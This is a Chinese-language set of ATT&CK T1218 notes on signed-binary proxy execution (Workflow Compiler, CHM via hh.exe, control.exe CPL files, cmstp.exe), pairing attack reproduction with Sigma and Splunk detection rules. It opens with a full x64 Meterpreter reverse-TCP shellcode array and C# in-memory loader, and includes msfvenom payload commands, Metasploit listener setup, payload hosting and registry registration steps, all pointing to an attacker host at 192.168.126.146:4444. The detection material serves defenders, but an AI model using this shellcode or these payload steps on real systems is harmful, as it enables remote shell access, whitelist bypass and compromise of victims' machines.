0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b, 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48, 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00, 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5, 0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4, 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a, 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89, 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5, 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5, 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9, 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41, 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31, 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8, 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c, 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41, 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04); Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length); IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero; uint BnhanUiUJaetgy; bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy); oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi); WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);} } ``` **执行监听** ```bash use exploit/multi/handler msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.126.146 msf exploit(multi/handler) > set lport 4444 msf exploit(multi/handler) > exploit ``` **执行payload** ```dos C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml 1.cs ``` **接收session** 进程意外终止,未获得会话。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID 4688:进程创建,记录`Microsoft.Workflow.Compiler.exe`的执行信息。 - Sysmon日志: - 事件ID 1:进程创建,包含命令行、哈希值和父进程。 - 事件ID 7:映像加载,记录加载的DLL。 - 事件ID 12/13:注册表操作,可能涉及临时文件或编译结果。 - 文件监控: - 检测非标准路径下的XML或C#文件。 - 网络监控: - 检测`Microsoft.Workflow.Compiler.exe`发起的异常网络连接(如反弹Shell)。 ### 日志示例 - 事件ID 4688示例: ``` 进程信息: 新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe 命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml payload.cs 创建者进程名称:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 1示例: ``` 事件ID:1 OriginalFileName:Microsoft.Workflow.Compiler.exe CommandLine:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml payload.cs CurrentDirectory:C:\Users\Administrator\ User:DOMAIN\Administrator Hashes:SHA1=BA135738EF1FB2F4C2C6C610BE2C4E855A526668 ParentImage:C:\Windows\System32\cmd.exe ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`Microsoft.Workflow.Compiler.exe`的执行,特别是非开发环境中的调用。 - 检查命令行是否包含`.xml`和`.cs`文件。 2. 命令行分析: - 使用正则表达式匹配: ```regex Microsoft\.Workflow\.Compiler\.exe.*\.xml.*\.cs ``` 3. 文件监控: - 检测非标准路径下的XML或C#文件,结合静态分析。 4. 网络监控: - 检测`Microsoft.Workflow.Compiler.exe`发起的异常网络连接。 5. 行为分析: - 检测加载的DLL或内存分配操作(如`VirtualAlloc`)。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title:可疑Microsoft.Workflow.Compiler.exe执行 id:8f7b5e3a-7b9c-4f2a-9d8e-3c4f5b6a7c8d description:检测Microsoft.Workflow.Compiler.exe的异常调用,可能用于执行恶意XOML或C#代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\Microsoft.Workflow.Compiler.exe' CommandLine|contains: - '.xml' - '.cs' filter_legitimate: ParentImage|endswith: - '\msbuild.exe' - '\devenv.exe' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的.NET开发工作流编译(如Visual Studio或MSBuild) level:high tags: - attack.execution - attack.t1218.001 ``` 规则说明: - 目标:检测`Microsoft.Workflow.Compiler.exe`加载XML和C#文件的执行。 - 过滤:排除由开发工具(如`msbuild.exe`、`devenv.exe`)触发的合法调用。 - 日志来源:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - 误报处理:合法开发场景可能触发,需结合文件路径和用户上下文分析。 - 级别:标记为“高”优先级,因该工具在非开发环境中使用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\Microsoft.Workflow.Compiler.exe" CommandLine IN ("*.xml*","*.cs*")) | fields Image,CommandLine,ParentImage,User ``` 规则说明: - 检测`Microsoft.Workflow.Compiler.exe`的进程创建(事件ID 1),重点关注命令行中的`.xml`和`.cs`。 - 减少误报:结合父进程和文件路径分析。 ### 检测挑战 - 误报:合法.NET开发工作流可能触发,需结合上下文(如父进程、文件内容)。 - 日志依赖:默认Windows日志可能不记录完整命令行,需启用审核策略或部署Sysmon。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon,配置针对`Microsoft.Workflow.Compiler.exe`的规则,监控进程创建和文件操作。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是到未知IP的高危端口(如4444)。 3. 文件审查: - 定期扫描非系统路径下的XML和C#文件,结合静态分析。 4. 权限控制: - 限制普通用户执行`Microsoft.Workflow.Compiler.exe`的权限。 5. 安全更新: - 保持.NET Framework和Windows系统更新,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK T1218.001: - 基于白名单Compiler.exe执行Payload第六季: - 远控免杀专题(43)-白名单Compiler.exe执行Payload: - Sysmon配置与检测: - Metasploit Framework: 用于生成和测试反弹Shell。 - Sysmon: Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1218.001-Win-签名的二进制代理执行-编译HTML文件.md ================================================ # T1218.001-使用编译的HTML文件执行Payload(白名单绕过) ## 描述 攻击者可利用编译的HTML帮助文件(.chm)隐藏和执行恶意代码。CHM文件是Microsoft HTML帮助系统的一部分,包含HTML文档、图像和脚本(如VBA、JScript、ActiveX)。这些文件通过`hh.exe`(HTML帮助可执行程序,位于`C:\Windows\hh.exe`)加载,依赖Internet Explorer的底层组件渲染内容。 攻击者可创建包含恶意脚本的自定义CHM文件,通过网络钓鱼或多阶段恶意软件分发,诱导用户执行。恶意CHM文件可能触发VBA、JScript或ActiveX代码,执行Payload。在未打补丁或老旧系统(如Windows XP)上,`hh.exe`执行CHM文件可能绕过应用程序白名单(如AppLocker),因为`hh.exe`是Microsoft签名的合法工具。此外,CHM文件的脚本执行可能规避防病毒检测。 ## 测试案例 ### 案例说明 CHM文件支持HTML内容和脚本语言(如VBA、JScript),通过`hh.exe`打开。攻击者可嵌入恶意脚本(如反弹Shell)在CHM文件中,诱导用户双击或通过命令行执行。以下是一个简单的测试案例: **创建恶意CHM文件**: 1. 使用HTML帮助工作坊(HTML Help Workshop)创建CHM文件。 2. 嵌入JScript代码,执行计算器作为测试: ```html

Test CHM

``` 3. 编译为`test.chm`,保存到`C:\Users\\Desktop\test.chm`。 4. 执行:`hh.exe C:\Users\\Desktop\test.chm`。 ### 补充说明 - 日志监控: - 在高版本Windows系统(如Windows 7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon并配置规则,记录进程创建和脚本执行。 - 局限性: - 默认Windows日志可能不记录脚本执行细节,需启用审核策略或Sysmon。 - 合法CHM文件(如帮助文档)可能触发类似日志,需结合文件路径和内容分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID 4688:进程创建,记录`hh.exe`的执行信息。 - Sysmon日志: - 事件ID 1:进程创建,包含命令行、哈希值和父进程。 - 事件ID 7:映像加载,记录加载的DLL(如`mshtml.dll`)。 - 事件ID 10:进程访问,可能涉及`hh.exe`调用子进程。 - 文件监控: - 检测非系统路径下的CHM文件。 - 网络监控: - 检测`hh.exe`引发的异常网络连接(如反弹Shell)。 ### 日志示例 - 事件ID 4688示例: ``` 进程信息: 新进程名称:C:\Windows\hh.exe 命令行:hh.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.001\src\T1218.001.chm 创建者进程名称:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 1示例: ``` 事件ID:1 OriginalFileName:HH.exe CommandLine:hh.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.001\src\T1218.001.chm CurrentDirectory:C:\Users\zhuli\ User:QAX\zhuli Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020 ParentImage:C:\Windows\System32\cmd.exe ``` ## 测试复现 ### 环境准备 - 攻击机:Kali Linux 2019(或其他支持Metasploit的系统) - 靶机:Windows 7(或其他支持CHM的Windows系统) - 工具: - Metasploit Framework(生成Payload和监听) - HTML Help Workshop(创建CHM文件) - Sysmon(可选,日志收集) ### 攻击分析 #### 1.创建恶意CHM文件 1. **生成JScript Payload**: ```javascript

Malicious CHM

``` - 保存为`malicious.html`。 - 使用HTML Help Workshop编译为`T1218.001.chm`。 2. **托管Payload**: 在攻击机上托管`payload.exe`(如通过HTTP服务器): ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f exe -o payload.exe python3 -m http.server 4444 ``` 3. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 4444 msf5 exploit(multi/handler)>set AutoRunScript migrate -f msf5 exploit(multi/handler)>exploit ``` 4. **靶机执行Payload**: 将`T1218.001.chm`传输到靶机(如`C:\Users\zhuli\Desktop\`),执行: ```cmd hh.exe C:\Users\zhuli\Desktop\T1218.001.chm ``` 或双击`T1218.001.chm`。 5. **结果分析**: - CHM文件加载时,JScript下载并执行`payload.exe`,触发反弹Shell。 - 若未获得会话,检查: - 防火墙是否阻止HTTP请求或TCP连接。 - CHM文件中的脚本是否被IE安全设置阻止。 - 系统是否启用了ActiveX限制。 ## 测试留痕 ### Windows安全日志 - 事件ID 4688: ``` 进程信息: 新进程名称:C:\Windows\hh.exe 命令行:hh.exe C:\Users\zhuli\Desktop\T1218.001.chm 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID 1: ``` 事件ID:1 OriginalFileName:HH.exe CommandLine:hh.exe C:\Users\zhuli\Desktop\T1218.001.chm CurrentDirectory:C:\Users\zhuli\ User:QAX\zhuli Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020 ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID 7:记录加载的DLL(如`mshtml.dll`)。 - 事件ID 10:记录`hh.exe`调用子进程(如`payload.exe`)。 - 网络连接:可能记录HTTP请求或TCP连接到`192.168.126.146:4444`。 ### 文件痕迹 - CHM文件存储在用户指定路径(如`C:\Users\zhuli\Desktop\T1218.001.chm`)。 - 下载的Payload存储在指定路径(如`C:\Temp\payload.exe`)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`hh.exe`加载非系统路径的CHM文件。 - 检查`hh.exe`触发的子进程(如`cmd.exe`、`payload.exe`)。 2. 命令行分析: - 使用正则表达式匹配: ```regex hh\.exe.*\.chm ``` 3. 文件监控: - 检测非标准路径下的CHM文件,结合静态分析检查脚本。 4. 网络监控: - 检测`hh.exe`发起的异常网络连接(如HTTP下载或反弹Shell)。 5. 行为分析: - 检测`hh.exe`加载`mshtml.dll`后执行ActiveX或JScript。 - 监控由CHM文件触发的子进程。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title:可疑CHM文件执行 id:9c4d7e2a-3f8b-4a5c-9e7d-6f8e9c0a1b2d description:检测hh.exe加载可疑CHM文件,可能用于执行恶意脚本 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith:'\hh.exe' CommandLine|contains:'.chm' filter_legitimate: CommandLine|contains: - 'C:\Program Files\' - 'C:\Program Files (x86)\' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的CHM帮助文件(如软件文档) level:high tags: - attack.execution - attack.t1218.001 ``` 规则说明: - 目标:检测`hh.exe`加载非系统路径CHM文件的执行。 - 过滤:排除加载程序安装目录(如`C:\Program Files`)中CHM文件的合法操作。 - 日志来源:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - 误报处理:合法帮助文档可能触发,需结合文件路径和网络行为分析。 - 级别:标记为“高”优先级,因CHM文件执行脚本通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\hh.exe" CommandLine="*.chm*") OR (EventCode=10 SourceImage="*\hh.exe" TargetImage IN ("*\cmd.exe","*\powershell.exe","*\wscript.exe")) | fields Image,CommandLine,ParentImage,User,TargetImage ``` 规则说明: - 检测`hh.exe`加载CHM文件(事件ID 1)和触发的子进程(事件ID 10)。 - 减少误报:结合子进程和文件路径分析。 ### 检测挑战 - 误报:合法CHM帮助文件可能触发,需结合文件内容和网络行为分析。 - 日志依赖:脚本执行细节可能不记录,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon,配置针对`hh.exe`的规则,监控进程创建和子进程。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是HTTP请求和高危端口(如4444)。 3. 文件审查: - 定期扫描非系统路径下的CHM文件,检查嵌入的脚本。 4. 权限控制: - 限制普通用户执行`hh.exe`或打开不受信任的CHM文件。 5. 安全更新: - 保持Windows系统和Internet Explorer更新,修复CHM执行相关漏洞。 6. ActiveX限制: - 配置IE安全设置,禁用未签名的ActiveX控件。 ## 参考推荐 - MITRE ATT&CK T1218.001: - 跟着ATT&CK学安全之defense-evasion: - Sysmon配置与检测: - Metasploit Framework: 用于生成和测试反弹Shell。 - Sysmon: Microsoft提供的系统监控工具。 - HTML Help Workshop: 用于创建CHM文件。 ================================================ FILE: Windows/07逃避防御/T1218.002-Win-使用Control.exe执行payload(白名单).md ================================================ # T1218.002-使用Control执行Payload(白名单绕过) ## 描述 `control.exe`是Windows操作系统自带的命令行工具,用于执行“控制面板”项目(Control Panel Items),以查看和调整计算机设置。控制面板项目可以是注册的可执行文件(.exe)或控制面板文件(.cpl),后者实际上是重命名的动态链接库(DLL)文件,需导出`CPlApplet`函数以在控制面板图形界面中显示。`control.exe`由Microsoft签名,位于`C:\Windows\System32\control.exe`,被视为受信任的系统工具。 攻击者可通过以下方式滥用`control.exe`: - **直接执行CPL文件**:通过命令行运行`control.exe file.cpl`,加载CPL文件的`CPlApplet`函数或`DllEntryPoint`。 - **通过Rundll32间接执行**:使用`rundll32.exe`调用`shell32.dll`中的`Control_RunDLL`或`ControlRunDLLAsUser`函数加载CPL文件。 - **伪装恶意DLL**:将恶意DLL重命名为`.cpl`扩展名并注册到`HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`,即使不导出`CPlApplet`函数,也可通过`DllEntryPoint`执行。 此技术可通过网络钓鱼或其他恶意软件分发CPL文件,利用`control.exe`的信任地位绕过AppLocker或其他白名单防御机制。攻击者还可能通过伪装的CPL文件规避文件扩展名限制。 ## 测试案例 ### 案例说明 `control.exe`用于启动控制面板或直接执行CPL文件。它不是核心系统进程,但终止可能导致不可预知的问题。CPL文件可以通过以下方式执行: - 命令行:`control.exe file.cpl` - Rundll32调用:`rundll32.exe shell32.dll,Control_RunDLL file.cpl` - 双击文件:直接运行`.cpl`文件,触发`control.exe`加载。 **示例CPL文件**: 创建一个简单的CPL文件(实际上是DLL),用于测试: ```c #include BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"Malicious CPL loaded!", L"Test", MB_OK | MB_ICONINFORMATION); break; } return TRUE; } __declspec(dllexport) LONG CALLBACK CPlApplet(HWND hwndCpl, UINT uMsg, LPARAM lParam1, LPARAM lParam2) { return 0; } ``` - 编译为`test.cpl`(实际为DLL)。 - 保存到`C:\Users\\Desktop\test.cpl`。 - 执行:`control.exe C:\Users\\Desktop\test.cpl`。 ### 补充说明 - 日志监控: - 在高版本Windows系统(如Windows 7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon并配置规则,记录进程创建、DLL加载和注册表操作。 - 局限性: - 默认Windows事件日志可能不记录完整命令行,需启用审核策略。 - 合法控制面板操作可能触发类似日志,需结合上下文分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID 4688:进程创建,记录`control.exe`或`rundll32.exe`的执行信息。 - Sysmon日志: - 事件ID 1:进程创建,包含命令行、哈希值和父进程。 - 事件ID 7:映像加载,记录加载的DLL(如`shell32.dll`或恶意CPL)。 - 事件ID 12/13:注册表操作,记录对`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel`等键的修改。 - 文件监控: - 检测非系统路径下的CPL文件。 - 网络监控: - 检测CPL文件引发的异常网络连接(如反弹Shell)。 ### 日志示例 - Sysmon事件ID 1示例: ``` 事件ID:1 OriginalFileName:control.exe CommandLine:control.exe C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl CurrentDirectory:C:\Users\zhuli\ User:QAX\zhuli Hashes:SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026 ParentImage:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 7示例(Rundll32加载): ``` 事件ID:7 Image:C:\Windows\SysWOW64\rundll32.exe ImageLoaded:C:\Users\zhuli\Desktop\TevoraAutomatedRTGui\atomic-red-team-master\atomics\T1218.002\bin\calc.cpl ``` ## 测试复现 ### 环境准备 - 攻击机:Kali Linux 2019(或其他支持Metasploit的系统) - 靶机:Windows 7(或其他支持`control.exe`的Windows系统) - 工具: - Metasploit Framework(生成Payload和监听) - C编译器(如MinGW或Visual Studio,生成CPL文件) - Sysmon(可选,日志收集) ### 攻击分析 #### 1.生成恶意CPL文件 使用`msfvenom`生成恶意CPL文件(实际为DLL): ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f dll -o calc.cpl ``` - 参数说明: - `-a x86`:指定32位架构。 - `-p windows/meterpreter/reverse_tcp`:生成反弹Shell。 - `LHOST`和`LPORT`:攻击机IP和端口。 - `-f dll`:输出为DLL,命名为`.cpl`。 将`calc.cpl`传输到靶机(如`C:\Users\zhuli\Desktop\calc.cpl`)。 #### 2.配置攻击机监听 在攻击机上使用Metasploit配置反弹Shell监听: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 4444 msf5 exploit(multi/handler)>set AutoRunScript migrate -f msf5 exploit(multi/handler)>exploit ``` #### 3.执行Payload 在靶机上执行: ```cmd control.exe C:\Users\zhuli\Desktop\calc.cpl ``` 或使用Rundll32: ```cmd rundll32.exe shell32.dll,Control_RunDLL C:\Users\zhuli\Desktop\calc.cpl ``` #### 4.反弹Shell 执行后,`calc.cpl`通过`DllEntryPoint`加载,触发Payload,连接到攻击机的Metasploit监听端口,生成Meterpreter会话。若未成功,检查: - 防火墙是否阻止出站连接。 - CPL文件是否正确生成(32位/64位兼容)。 - 命令行参数是否正确。 #### 5.注册CPL文件(可选) 将CPL文件注册到控制面板: ```cmd reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /v "TestCPL" /t REG_SZ /d "C:\Users\zhuli\Desktop\calc.cpl" /f ``` 注册后,双击或通过控制面板界面加载CPL文件。 ## 测试留痕 ### Windows安全日志 - 事件ID 4688: - 记录`control.exe`或`rundll32.exe`的执行: ``` 进程信息: 新进程名称:C:\Windows\System32\control.exe 命令行:control.exe C:\Users\zhuli\Desktop\calc.cpl 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID 1: - 记录进程创建: ``` 事件ID:1 OriginalFileName:control.exe CommandLine:control.exe C:\Users\zhuli\Desktop\calc.cpl CurrentDirectory:C:\Users\zhuli\ User:QAX\zhuli Hashes:SHA1=6778DAD71C8B06264CF2929A5242D2612D3EB026 ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID 7: - 记录加载的CPL文件: ``` 事件ID:7 Image:C:\Windows\SysWOW64\rundll32.exe ImageLoaded:C:\Users\zhuli\Desktop\calc.cpl ``` - 事件ID 12/13: - 记录注册表修改,如`HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`。 ### 文件痕迹 - CPL文件存储在用户指定路径(如`C:\Users\zhuli\Desktop\calc.cpl`)。 - 注册表键(如`HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`)可能被修改。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`control.exe`或`rundll32.exe`加载非系统路径的CPL文件。 - 检查命令行是否包含`.cpl`或`Control_RunDLL`。 2. 命令行分析: - 使用正则表达式匹配: ```regex (control\.exe.*\.cpl)|(rundll32\.exe.*shell32\.dll,Control_RunDLL.*\.cpl) ``` 3. 文件监控: - 检测非`C:\Windows\System32`或`C:\Windows\SysWOW64`路径下的CPL文件。 4. 注册表监控: - 检测对`HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls`或`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel`的修改。 5. 行为分析: - 检测`rundll32.exe`加载未导出`CPlApplet`的CPL文件。 - 监控`control.exe`或`rundll32.exe`发起的异常网络连接。 ### Sigma规则 以下是针对`control.exe`和`rundll32.exe`可疑CPL执行的Sigma规则,适用于SIEM系统(如Splunk、Elastic)。 ```yaml title:可疑控制面板CPL文件执行 id:7a8b9c4d-2e3f-4b5a-8c9e-6f7d8e9f0a1b description:检测control.exe或rundll32.exe加载可疑CPL文件,可能用于代理执行恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection_control: Image|endswith:'\control.exe' CommandLine|contains:'.cpl' selection_rundll32: Image|endswith:'\rundll32.exe' CommandLine|contains: - 'shell32.dll,Control_RunDLL' - 'shell32.dll,ControlRunDLLAsUser' - '.cpl' filter_legitimate: CommandLine|contains: - 'C:\Windows\System32\' - 'C:\Windows\SysWOW64\' condition:(selection_control or selection_rundll32) and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法控制面板操作(如系统管理员运行`control.exe`加载官方CPL文件) level:high tags: - attack.execution - attack.t1218.002 ``` 规则说明: - 目标:检测`control.exe`或`rundll32.exe`加载非系统路径CPL文件的执行。 - 过滤:排除加载系统目录(如`C:\Windows\System32`)中CPL文件的合法操作。 - 日志来源:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - 误报处理:合法控制面板操作可能触发,需结合CPL文件路径和注册表上下文分析。 - 级别:标记为“高”优先级,因CPL文件异常执行通常与恶意活动相关。 ### Splunk规则 优化后的Splunk查询,用于检测`control.exe`和`rundll32.exe`的异常CPL执行: ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image IN ("*\control.exe","*\rundll32.exe") CommandLine IN ("*.cpl*","*shell32.dll,Control_RunDLL*","*shell32.dll,ControlRunDLLAsUser*")) OR (EventCode IN (12,13) TargetObject IN ("*Microsoft\Windows\CurrentVersion\Control Panel*","*CLSID*","*NameSpace*","*Shellex\PropertySheetHandlers*")) | fields Image,CommandLine,ParentImage,User,TargetObject ``` 规则说明: - 检测`control.exe`或`rundll32.exe`的CPL相关执行(事件ID 1)和控制面板注册表操作(事件ID 12/13)。 - 减少误报:排除系统路径CPL文件的合法操作。 ### 检测挑战 - 误报:合法控制面板操作可能触发,需结合CPL文件路径和哈希值分析。 - 日志依赖:默认Windows日志可能不记录完整命令行,需启用审核策略或部署Sysmon。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon,配置针对`control.exe`和`rundll32.exe`的规则,监控CPL加载和注册表操作。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是到未知IP的高危端口(如4444)。 3. 文件审查: - 定期扫描非系统路径下的CPL文件,结合静态分析验证是否导出`CPlApplet`。 4. 权限控制: - 限制普通用户执行`control.exe`或修改控制面板注册表键的权限。 5. 安全更新: - 保持Windows系统和控制面板组件更新,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK T1218.002: - 跟着ATT&CK学安全之defense-evasion: - Sysmon配置与检测: - Metasploit Framework: 用于生成和测试反弹Shell。 - Sysmon: Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1218.003-Win-使用Cmstp.exe执行Payload(白名单).md ================================================ 、# T1218.003-使用Cmstp.exe执行Payload(白名单绕过) ## 描述 `Cmstp.exe`是Microsoft提供的命令行工具,用于安装或删除连接管理器服务配置文件(Connection Manager Service Profile)。它接受安装信息文件(INF)作为参数,用于配置远程访问连接的服务。 攻击者可利用`Cmstp.exe`加载恶意INF文件,通过其中定义的命令执行动态链接库(DLL)或COM脚本小程序(SCT),从而实现代码执行。与T1218.011(Regsvr32/"Squiblydoo")类似,`Cmstp.exe`因其为Microsoft签名的合法工具,常被滥用来绕过AppLocker或其他白名单防御机制。此外,`Cmstp.exe`还可能通过自动提升的COM接口(如`CMLUA.dll`)绕过用户账户控制(UAC),执行INF文件中定义的任意恶意命令。 `Cmstp.exe`位于Windows系统路径中: - 32位:`C:\Windows\System32\cmstp.exe` - 64位系统中的32位版本:`C:\Windows\SysWOW64\cmstp.exe` 该工具已包含在系统`PATH`环境变量中,可直接通过`cmstp`命令调用,需注意32位和64位版本的区别。 ## 测试案例 ### 案例说明 `Cmstp.exe`用于安装或删除连接管理器服务配置文件。若不指定可选参数,`Cmstp.exe`将使用默认设置(基于操作系统和用户权限)安装服务配置文件。常用参数包括: - `/s`:指定INF文件的路径。 - `/ni`:不创建桌面快捷方式,减少可见痕迹。 - `/au`:以自动提升权限执行,可能绕过UAC。 ### 补充说明 - 日志监控: - 在高版本Windows系统(如Windows 7及以上),可通过组策略启用进程命令行参数记录: - 路径:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用` - 部署Sysmon(System Monitor)并配置规则,可记录进程创建、命令行和网络活动。 - 局限性: - 默认Windows事件日志可能不记录完整命令行参数,需启用审核策略。 - 合法的连接管理器服务部署可能触发类似日志,需结合上下文分析。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID 4688:进程创建事件,记录进程名称、命令行参数和父进程信息。 - 需启用命令行审核策略以捕获完整参数。 - 